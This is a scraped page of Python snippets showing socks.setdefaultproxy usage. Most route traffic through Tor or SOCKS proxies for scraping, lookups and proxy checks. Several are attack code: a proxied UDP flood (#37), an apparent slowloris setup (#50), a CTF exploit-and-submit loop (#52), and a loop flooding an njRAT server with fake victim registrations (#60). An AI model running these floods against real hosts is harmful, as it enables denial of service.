                            reset_counts -= 1
                            shell('service network-manager restart')
                        sleep(1)
                if not ip:
                    self.restart_tor(recur - 1)
            if all([not ip, not recur]):
                self.connection()

            if ip in self.recentIPs.queue:
                self.restart_tor()
            else:
                self.ip = ip
                self.recentIPs.put(ip)

        except Exception as e:
            print(f'Error: {e}')
            pass
Example #36
0
def transfor(proxy_type=socks.PROXY_TYPE_SOCKS4,
             proxy_addr="127.0.0.1:9050",
             rdns=True,
             username=None,
             password=None):
    """Establece una conexión con el proxy y cambia el tipp de socket estandar

    proxy_type "El tipo de proxy. use socks.PROXY_TYPES, para todos los tipos de proxys"
    proxy_addr "La dirección del proxy"
    rdns "Permite usar dns remoto"
    username "El nombre de usuario del proxy (Si lo requiere)
    password "La contraseña del proxy (Si lo requiere)
    """
    if (proxy_addr.count(":") <> 1):

        raise invalidAddress("Dirección invalida.")

    proxy_addr_tuple = proxy_addr.split(":")

    try:

        proxy_addr_tuple[1] = int(proxy_addr_tuple[1])

    except ValueError:

        raise invalidPort("Puerto invalido.")

    socks.setdefaultproxy(proxy_type,
                          proxy_addr_tuple[0],
                          proxy_addr_tuple[1],
                          rdns=rdns,
                          username=username,
                          password=password)

    socket.socket = socks.socksocket

    return True
Example #37
0
 def run(self):  # la funzione che da' le istruzioni ai vari threads
     data = random._urandom(1024)  # data per il pacchetto random
     p = bytes(IP(dst=str(url2)) / UDP(dport=int(port)) /
               data)  # crea pacchetto udp classico + data
     current = x  # per dare l'id al thread
     if current < len(
             proxies
     ):  # se l'id del thread si puo' associare ad un proxy, usa quel proxy
         proxy = proxies[current].strip().split(':')
     else:  # altrimenti lo prende a random
         proxy = random.choice(proxies).strip().split(":")
     go.wait()  # aspetta che threads sono pronti
     while True:
         try:
             socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]),
                                   int(proxy[1]),
                                   True)  # comando per il proxying HTTP
             s = socks.socksocket()  # creazione socket
             s.connect((str(url2), int(port)))  # connessione
             s.send(p)  # invio
             print("Request sent from " + str(proxy[0] + ":" + proxy[1]) +
                   " @", self.counter)  # print req + counter
         except:  # se qualcosa va storto
             s.close()  # chiude il socket
    def __init__(self, controller, probe_spec, args):
        self._controller = controller
        self._probe_spec = probe_spec
        self._args = args
        self._mutex = Lock()
        self._hs_queue = Queue(args.queue_size)
        self._max_threads = args.num_threads
        self._thread_tracker = _ThreadTracker()
        self._output_mutex = Lock()
        self._start_time = None
        self._end_time = None
        self._probe_count = 0
        self._probe_map = {}
        self._probe_map_mutex = Lock()
        self._next_action = {
            'MISC'           : self._retry_next,
            'RESOLVEFAILED'  : self._fail,
            'CONNECTREFUSED' : self._try_next_port,
            'EXITPOLICY'     : self._try_next_port,
            'DESTROY'        : self._retry_once,
            'DONE'           : self._pass,
            'TIMEOUT'        : self._retry_once,
            'NOROUTE'        : self._fail,
            'HIBERNATING'    : self._fail,
            'INTERNAL'       : self._retry_once,
            'RESOURCELIMIT'  : self._retry_once,
            'CONNRESET'      : self._retry_next,
            'TORPROTOCOL'    : self._retry_once,
            'NOTDIRECTORY'   : self._retry_once,
            'CANT_ATTACH'    : self._retry_once,
            }
        self._default_next_action = self._fail

        _proxy_args = (socks.PROXY_TYPE_SOCKS5, "127.0.0.1", self._args.socks_port, True)
        socks.setdefaultproxy(*_proxy_args)
        self._proxy_url = proxyurl.ProxyURLHandler(*_proxy_args)
    def _connect(self):
        global _server_ip, _proxy_ip
        host = _server_ip.get_server_ip(self.whois_srv)  # 服务器地址
        host = host if host else self.whois_srv
        if flag_proxy:
            proxy_info = _proxy_ip.get(self.whois_srv)  # 代理IP
            if proxy_info is not None:
                socks.setdefaultproxy(
                    proxytype=socks.PROXY_TYPE_SOCKS4
                    if proxy_info.mode == 4 else socks.PROXY_TYPE_SOCKS5,
                    addr=proxy_info.ip,
                    port=proxy_info.port)
                socket.socket = socks.socksocket
                self.tcpCliSock = socket.socket(socket.AF_INET,
                                                socket.SOCK_STREAM)
        socket.setdefaulttimeout(20)
        data_result = ""
        try:
            self.tcpCliSock.connect((host, 43))
            self.tcpCliSock.send(self.request_data + '\r\n')
        except socket.error as e:
            if str(e).find("timed out") != -1:  # 连接超时
                return "ERROR -1"
            elif str(e).find("Temporary failure in name resolution") != -1:
                return "ERROR -2"
            else:
                return "ERROR OTHER"

        while True:
            try:
                data_rcv = self.tcpCliSock.recv(1024)
            except socket.error as e:
                return "ERROR -3"
            if not len(data_rcv):
                return data_result  # 返回查询结果
            data_result = data_result + data_rcv  # 每次返回结果组合
Example #40
0
    def __init__(self):
        super(Network, self).__init__()
        super(Network, self).init_signals()

        if "--enable-socks5" in sys.argv:
            socks5url = ""
            socks5port = ""
            parser = argparse.ArgumentParser(description='Proxy options.')
            parser.add_argument('--socks5-port',
                                type=int,
                                action="store",
                                dest="socksport")
            parser.add_argument('--socks5-url',
                                action="store",
                                dest="socksurl")
            args = parser.parse_known_args()
            socks5url = args[0].socksurl
            socks5port = args[0].socksport

            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, socks5url,
                                  socks5port)
            socket.socket = socks.socksocket

        self.daemon = True
Example #41
0
def initialize_analyticsreporting(proxy_host=PROXY_HOST, proxy_port=PROXY_PORT):
    """Initializes an analyticsreporting service object.

    Returns:
      analytics an authorized analyticsreporting service object.
    """

    credentials = ServiceAccountCredentials.from_p12_keyfile(
        SERVICE_ACCOUNT_EMAIL, KEY_FILE_LOCATION, scopes=SCOPES)

    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxy_host, proxy_port)
    socks.wrapmodule(httplib2)

    # p = httplib2.proxy_info_from_url("http://192.168.1.2:1690")
    # proxy = httplib2.ProxyInfo(socks.PROXY_TYPE_HTTP, "192.168.1.2", 1690)
    http = credentials.authorize(httplib2.Http(timeout=35))

    # http = credentials.authorize(httplib2.Http())

    # Build the service object.
    analytics = build('analytics', 'v4', http=http,
                      discoveryServiceUrl=DISCOVERY_URI)

    return analytics
Example #42
0
def telegram(text="тест",
             endpoints="getUpdates",
             timeout=3,
             token=None,
             chat_id=None):
    if token is None:
        from private import token
    if chat_id is None:
        from private import chat_id
    from time import time
    import requests
    if endpoints == "getUpdates":
        url = f'https://api.telegram.org/bot{token}/getUpdates'
    elif endpoints == "sendMessage":
        url = f'https://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}&text={text}'
    else:
        url = f'https://api.telegram.org/bot{token}/getMe'
    req = None
    try:
        req = requests.get(url, timeout=timeout).text
    except requests.exceptions.ConnectTimeout:
        print(
            '[ERROR] mod_telegram.telegram(): telegram.org - недоступен, пробуем через Tor.(для этого он должен быть установлен\запущен)'
        )
        #import os
        #os.system('cmd /c "C:\\Users\\AT-BC-D1\\Desktop\\Tor Browser\\Browser\\firefox.exe"')
        import socket
        import socks
        ip = '127.0.0.1'
        port = 9150
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, port)
        socket.socket = socks.socksocket
        req = requests.get(url, timeout=timeout).text
    except:
        print('[ERROR]: mod_telegram.telegram() Что то пошло не так.')
    return req
Example #43
0
def fetchGFWList(config):
    import socks, socket, urllib2

    gfwProxyType = config['gfwProxyType']
    if (gfwProxyType == socks.PROXY_TYPE_SOCKS4) or (
            gfwProxyType
            == socks.PROXY_TYPE_SOCKS5) or (gfwProxyType
                                            == socks.PROXY_TYPE_HTTP):
        socks.setdefaultproxy(gfwProxyType, config['gfwProxyHost'],
                              config['gfwProxyPort'], True,
                              config['gfwProxyUsr'], config['gfwProxyPwd'])
        socket.socket = socks.socksocket

    if config['debug']:
        httpHandler = urllib2.HTTPHandler(debuglevel=1)
        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
        opener = urllib2.build_opener(httpHandler, httpsHandler)
        urllib2.install_opener(opener)

    response = urllib2.urlopen(config['gfwUrl'])
    gfwlistModified = response.info().getheader('last-modified')
    gfwlistContent = response.read()

    return gfwlistContent, gfwlistModified
Example #44
0
def socket_check1(potocol, ip, port):
    import socks
    import socket
    socket.setdefaulttimeout(socket_timeout)
    type = None
    if potocol == 'socks4':
        type = socks.SOCKS4

    elif potocol == 'socks5':
        type = socks.SOCKS5

    else:
        type = socks.HTTP

    socks.setdefaultproxy(type, ip, port)

    socket.socket = socks.socksocket

    import urllib2

    req = urllib2.Request(ip_check_url)
    req.get_method = lambda: 'HEAD'
    time_start = time.time()
    try:
        conn = urllib2.urlopen(req)
        result = str(conn.info())
        print result, conn.read()
        if result.find('bfe') > 0:
            print 'check_socks_proxy', ip, port
            return True
        else:
            return False

    except urllib2.HTTPError, e:
        print "ERROR: Code ", e.code
        return False
Example #45
0
class Anonymous:
    verificar = Endereco("http://www.ifconfig.me/ip")
    ip = verificar.get_endereco()

    try:
        print("Ip Real =  ", requests.get(ip).text)
        for i in range(0, 3):
            setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "localhost",
                            9050)  # <====: porta tor...
            socket.socket = socks.socksocket
            rede_tor = requests.get(ip).text
            print("Rede TOR = ", rede_tor)
            time.sleep(600)
    except Exception:
        print("Sem conexao com a rede tor")
Example #46
0
def scrapeWithTOR(SOCKS_PORT=7010):
    """ Initialize TOR and call scraper functions """

    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', SOCKS_PORT)
    socket.socket = socks.socksocket

    print term.format("Starting Tor:\n", term.Attr.BOLD)

    try:
        tor_process = stem.process.launch_tor_with_config(
            config={'SocksPort': str(SOCKS_PORT)},
            init_msg_handler=print_bootstrap_lines)
        print term.format("\nChecking endpoint:\n", term.Attr.BOLD)
        print getWithTOR("https://www.atagar.com/echo.php")

        print term.format("Scraping - please do not turn me off",
                          term.Attr.BOLD)
        #scraperFunction()

    except:
        print term.format(
            "TOR could not be started. Now running 'killall tor'. Please try again.",
            term.Attr.BOLD)
        os.system("killall tor")
Example #47
0
def URL(url):
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
    socket.socket = socks.socksocket
    socket.create_connection = create_connection
    file_name = url.split('/')[-1]
    u = urllib2.urlopen(url)
    f = open(file_name, 'wb')
    meta = u.info()
    file_size = int(meta.getheaders("Content-Length")[0])
    print "Downloading: %s Bytes: %s" % (file_name, file_size)
    file_size_dl = 0
    block_sz = 8192
    while True:
        buffer = u.read(block_sz)
        if not buffer:
            break
        file_size_dl += len(buffer)
        f.write(buffer)
        status = r"%10d  [%3.2f%%]" % (file_size_dl,
                                       file_size_dl * 100. / file_size)
        status = status + chr(8) * (len(status) + 1)
        print status,
    f.close()
    print ""
Example #48
0
 def get_ip_status(self,ip, port):
     if self.Parameate["Proxy"]=="NO":
         server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         server.settimeout(3)
     elif self.Parameate["Proxy"=="HTTP"]:
         server=socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, self.Parameate["ProxyAddress"], int(self.Parameate["ProxyPort"]))
     try:
         code =server.connect_ex((str(ip), port))
         if code==0:
             print_success('{0} port {1} is open'.format(ip, port))
         else:
             pass
             #print(1)
     except Exception as err:
         pass
     finally:
         server.close()
Example #49
0
def check_one_proxy(checkmothed, ip, port, method):
    global update_array
    global check_in_one_call
    global target_url, target_string, target_timeout

    url = target_url
    checkstr = target_string
    timeout = target_timeout
    if checkmothed == 'http':
        if method == 1:
            proxy_handler = urllib2.ProxyHandler(
                {'http': 'http://' + ip + ':' + str(port) + '/'})
            opener = urllib2.build_opener(proxy_handler)
            urllib2.install_opener(opener)
        else:
            return  # socks4,socks5 退出函数处理

    elif checkmothed == 'connect':
        if method == 1:
            socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, ip, int(port))
        elif method == 2:
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, ip, int(port))
        elif method == 3:
            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, ip, int(port))
        socks.wrap_module(urllib2)

    send_headers = {
        'User-agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'
    }
    t1 = time.time()

    try:
        req = urllib2.Request(url, headers=send_headers)
        r = urllib2.urlopen(req, timeout=20)
        rehtml = r.read()
        pos = rehtml.find(checkstr)
    except Exception, e:
        pos = -1
        print e
Example #50
0
if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")

if args.verbose:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else:
    logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
Example #51
0
"""

import os, cmd, subprocess, sys, shlex, time
from .Image_Manipulation import lsbsteg
from .Web_Connection.API_Keys import config
from .Web_Connection import api_cons
from .File_System import covertfs
from platform import system
from threading import Thread
if system() == 'Linux':
    torEnabled = subprocess.check_output(['ps', 'aux']).decode().find('/usr/bin/tor')
    if torEnabled > -1:
        import socks
        import socket
        print("Using tor, rerouting connection")
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
        socket.socket = socks.socksocket


__version__ = "0.9.5b"
__author__ = "Flores, Gorak, Hart, Sjoholm"


class Console(cmd.Cmd, object):
    def __init__(self, online_file_store, steg_class, encrypt_class,
                 mountpoint, url, proxy, cmdLoopUsed, dbg=False):
        """
        The Console constructor.
        """
        cmd.Cmd.__init__(self)
        self.api = online_file_store  # name of API
Example #52
0
		if (target[HOST] in INFECTED_HOSTS):
			infectedTargets.append(target)
	
	flags = []
	for target in infectedTargets:
		print "Attempting to run exploit on: " + target[HOST]
		flag = exploitTarget(target)
		if (flag != ""):
			flags.append(flag)
	
	print ("Flags: " + str(flags))
	api.debug = True		
	api.submitFlag(flags)
	api.debug = False

if __name__ == "__main__":	
	

	if (RUN_LOCAL):
		socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1',4444)
		socket.socket = socks.socksocket

	while True:
		main()
		print ("Sleeping till next tick to re-run.")
		time.sleep(TICK_TIME)

<!--stackedit_data:
eyJoaXN0b3J5IjpbNjg1MDg0ODQzXX0=
-->
Example #53
0
import tempfile
import urllib2

# Some sites blocks default python User-agent
user_agent = 'Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0'
headers = {'User-Agent': user_agent}
# SOCKS5 Proxy support
if ("sock_proxy"
        in os.environ) and (len(os.environ["sock_proxy"].strip()) > 0):
    proxy_str = os.environ["sock_proxy"].strip()
    m = re.match(
        r"^(?:(?P<username>[^:]+):(?P<password>[^@]+)@)?(?P<host>[^:]+):(?P<port>\w+)$",
        proxy_str)
    if m is not None:
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, m.group('host'),
                              int(m.group('port')), True, m.group('username'),
                              m.group('password'))
        socket.socket = socks.socksocket


def htmlentitydecode(s):
    # First convert alpha entities (such as &eacute;)
    # (Inspired from http://mail.python.org/pipermail/python-list/2007-June/443813.html)
    def entity2char(m):
        entity = m.group(1)
        if entity in htmlentitydefs.name2codepoint:
            return unichr(htmlentitydefs.name2codepoint[entity])
        return u" "  # Unknown entity: We replace with a space.

    t = re.sub(u'&(%s);' % u'|'.join(htmlentitydefs.name2codepoint),
               entity2char, s)
Example #54
0
import json
import os
import socket
import time
import urllib.request

import requests
import socks

socks.setdefaultproxy(proxy_type=socks.PROXY_TYPE_SOCKS5,
                      addr="127.0.0.1",
                      port=9050)

socket.socket = socks.socksocket

i = 0
while i <= 5:
    try:
        os.system("sudo service tor restart")
        time.sleep(10)
        ip = requests.get("http://icanhazip.com").text

        ipaddress = ip.encode('ascii', 'ignore').strip("\n")
        print(ipaddress)

        url = "http://ipinfo.io/" + ipaddress + "/json"
        print(url)
        response = urllib.request.urlopen(url)
        data = json.load(response)
        org = data['org']
        city = data['city']
    def __init__(self, d_inic, m_inic, ano, search_url, controller, nao_cria):
        arquivo = '//home//raul//Documents//unb_python//data//data' + str(
            d_inic) + "-" + str(m_inic) + "-" + str(ano) + '.txt'
        if nao_cria == 1:
            self.f = open(arquivo, 'a')
        else:
            self.f = open(arquivo, 'w')

        Consulta.controller = controller

        self.SEARCH_URL = search_url

        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)

        #abre conector na rede tor
        try:
            socket.socket = socks.socksocket
            socket.create_connection = create_connection
        except:
            print "problema ao abrir socket na rede tor"

        br = Browser()

        #prepara para iniciar consultas
        print "################### Consulta Avancada Portal Transparencia ###################"
        gravalog(
            self,
            "\n\n\n################### Consulta Avancada Portal Transparencia ###################\n\n"
        )
        print "################### versao" + self.ver + " ###################"
        gravalog(
            self, "\n################### versao " + self.ver +
            " ###################\n\n")

        try:
            LRequest = urllib2.Request(SEARCH_URL, " ")
            LResponse = br.open(LRequest)
            page = bs_parse(LResponse.read())
            print SEARCH_URL
            print page
            #f.write(page)
        except:
            print "problema ao realizar primeira consulta na web"

        gravalog(self, (page.text).encode('utf-8', 'ignore'))

        br.close()

        #Consulta.ID = newID(self, Consulta.controller)
        Consulta.ID = 000000000

        #Objeto para captura de logs.
        x = logging.getLogger("logarqui")
        x.setLevel(logging.DEBUG)

        #captura logs e grava em arquivo.
        h1 = logging.FileHandler(
            "//home//raul//Documents//unb_python//data//log//erros" +
            str(d_inic) + "-" + str(m_inic) + "-" + str(ano) + '.log')
        f = logging.Formatter(
            "%(levelname)s %(asctime)s %(funcName)s %(lineno)d %(message)s")
        h1.setFormatter(f)
        h1.setLevel(logging.DEBUG)
        x.addHandler(h1)
Example #56
0
import socks
import socket
import os
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, os.environ['IP_ROTATING_PROXY'],
                      5566, True)
socket.socket = socks.socksocket

import os
import time
import pickle
import shutil
import random
from urllib.request import urlopen

from utils import Config

timeout_secs = 10  # after this many seconds we give up on a paper
if not os.path.exists(Config.pdf_dir): os.makedirs(Config.pdf_dir)
have = set(os.listdir(Config.pdf_dir))  # get list of all pdfs we already have

numok = 0
numtot = 0
db = pickle.load(open(Config.db_path, 'rb'))
for pid, j in db.items():
    pdfs = [x['href'] for x in j['links'] if x['type'] == 'application/pdf']
    assert len(pdfs) == 1
    pdf_url = pdfs[0] + '.pdf'
    basename = pdf_url.split('/')[-1]
    fname = os.path.join(Config.pdf_dir, basename)

    # try retrieve the pdf
Example #57
0
    def start_tcp(self):

        self.connection_msg = self.host + ':%d' % self.port

        if self.proxy is not None:

            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"],
                                  int(self.proxy["port"]))
            socket.socket = socks.socksocket

            # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
            def getaddrinfo(*args):
                return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0],
                                                                     args[1]))]

            socket.getaddrinfo = getaddrinfo

        if self.use_ssl:
            cert_path = os.path.join(self.config.path, 'certs', self.host)

            if not os.path.exists(cert_path):
                is_new = True
                # get server certificate.
                # Do not use ssl.get_server_certificate because it does not work with proxy
                try:
                    l = socket.getaddrinfo(self.host, self.port,
                                           socket.AF_UNSPEC,
                                           socket.SOCK_STREAM)
                except socket.gaierror:
                    print_error("error: cannot resolve", self.host)
                    return

                for res in l:
                    try:
                        s = socket.socket(res[0], socket.SOCK_STREAM)
                        s.connect(res[4])
                    except:
                        s = None
                        continue

                    try:
                        s = ssl.wrap_socket(s,
                                            ssl_version=ssl.PROTOCOL_SSLv3,
                                            cert_reqs=ssl.CERT_NONE,
                                            ca_certs=None)
                    except ssl.SSLError, e:
                        print_error("SSL error retrieving SSL certificate:",
                                    self.host, e)
                        s = None

                    break

                if s is None:
                    return

                dercert = s.getpeercert(True)
                s.close()
                cert = ssl.DER_cert_to_PEM_cert(dercert)
                # workaround android bug
                cert = re.sub("([^\n])-----END CERTIFICATE-----",
                              "\\1\n-----END CERTIFICATE-----", cert)
                temporary_path = cert_path + '.temp'
                with open(temporary_path, "w") as f:
                    f.write(cert)

            else:
                is_new = False
Example #58
0
    def send_http(self, messages, callback):
        import urllib2, json, time, cookielib
        print_error("send_http", messages)

        if self.proxy:
            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"],
                                  int(self.proxy["port"]))
            socks.wrapmodule(urllib2)

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        urllib2.install_opener(opener)

        t1 = time.time()

        data = []
        ids = []
        for m in messages:
            method, params = m
            if type(params) != type([]): params = [params]
            data.append({
                'method': method,
                'id': self.message_id,
                'params': params
            })
            self.unanswered_requests[
                self.message_id] = method, params, callback
            ids.append(self.message_id)
            self.message_id += 1

        if data:
            data_json = json.dumps(data)
        else:
            # poll with GET
            data_json = None

        headers = {'content-type': 'application/json'}
        if self.session_id:
            headers['cookie'] = 'SESSION=%s' % self.session_id

        try:
            req = urllib2.Request(self.connection_msg, data_json, headers)
            response_stream = urllib2.urlopen(req, timeout=DEFAULT_TIMEOUT)
        except Exception:
            return

        for index, cookie in enumerate(cj):
            if cookie.name == 'SESSION':
                self.session_id = cookie.value

        response = response_stream.read()
        self.bytes_received += len(response)
        if response:
            response = json.loads(response)
            if type(response) is not type([]):
                self.queue_json_response(response)
            else:
                for item in response:
                    self.queue_json_response(item)

        if response:
            self.poll_interval = 1
        else:
            if self.poll_interval < 15:
                self.poll_interval += 1
        #print self.poll_interval, response

        self.rtime = time.time() - t1
        self.is_connected = True
        return ids
Example #59
0
import smtplib
import socks

#socks.setdefaultproxy(TYPE, ADDR, PORT)
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '172.30.0.7', 3128)
socks.wrapmodule(smtplib)

smtpserver = 'smtp.gmail.com'
AUTHREQUIRED = 1
smtpuser = '******'
smtppass = '******'

RECIPIENTS = '*****@*****.**'
SENDER = '*****@*****.**'
mssg = "test message"
s = mssg

server = smtplib.SMTP(smtpserver, 587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(smtpuser, smtppass)
server.set_debuglevel(1)
server.sendmail(SENDER, [RECIPIENTS], s)
server.quit()
Example #60
0
 def run(self):
     time.sleep(10)
     delimiter = "|'|'|"
     msg_type = "ll"
     victim_string_prefix = "HacKed"
     vol_identifier = "F8CB008F"
     pc_name = "FuckU_SKIDD-PC"
     username = "******"
     lm_time = "17-07-30"
     os_info = "Win 7 Enterprise N SP1 x64"
     cam = "No"
     ver = "0.7d"
     foreground_window = "NJRAT is for losers"
     registry_key_values = "b88ece4c04f706c9717bbe6fbda49ed2,2681e81bb4c4b3e6338ce2a456fb93a7,8e78a69ca187088abbea70727d268e90,"
     data = ""
     data += msg_type + delimiter
     gen_vol_id = ''.join(
         [random.choice('0123456789ABCDEF') for x in range(8)])
     dataencodedBytes = victim_string_prefix + '_' + gen_vol_id
     encodedBytes = base64.b64encode(dataencodedBytes.encode("utf-8"))
     encodedStr = str(encodedBytes, "utf-8")
     data += encodedStr
     data += delimiter
     data += pc_name + delimiter
     data += username + delimiter
     data += "{:02d}-{:02d}-{:02d}".format(random.randint(0, 19),
                                           random.randint(1, 12),
                                           random.randint(1, 31))
     data += delimiter + delimiter
     gen_os_ver = "Win {} {} SP{} {}".format(
         random.choice(["XP", "7", "8", "8.1", "10"]),
         random.choice([
             "Home Premium", "Pro", "Professional", "Ultimate", "Enterprise"
         ]), random.randint(0, 3), random.choice(["x86", "x64"]))
     data += gen_os_ver + delimiter
     data += random.choice(["No", "Yes"]) + delimiter
     data += "0.{}.{}".format(random.choice('123456789'),
                              random.choice('abcde')) + delimiter
     data += ".." + delimiter
     dataencodedBytes_foreground_window = foreground_window
     encodedBytes_foreground_window = base64.b64encode(
         dataencodedBytes_foreground_window.encode("utf-8"))
     encodedStr_foreground_window = str(encodedBytes, "utf-8")
     data += encodedStr_foreground_window
     data += delimiter
     data += registry_key_values
     data_data = str(len(data)) + '\x00' + data
     current = x
     proxies = open('proxy.txt').readlines()
     proxy = random.choice(proxies).strip().split(":")
     if proxymode == 1:
         while True:
             try:
                 socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,
                                       str(proxy[0]), int(proxy[1]), True)
                 s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
                 s.connect((ip, port))
                 s.send(str.encode(data_data))
                 data = s.recv(1024)
                 try:
                     for y in range(100):
                         s.send(str.encode(data_data))
                 except:
                     s.close()
             except:
                 s.close()
     else:
         while True:
             try:
                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                 s.connect((ip, port))
                 s.send(str.encode(data_data))
                 data = s.recv(1024)
                 try:
                     for y in range(100):
                         s.send(str.encode(data_data))
                 except:
                     s.close()
             except:
                 s.close()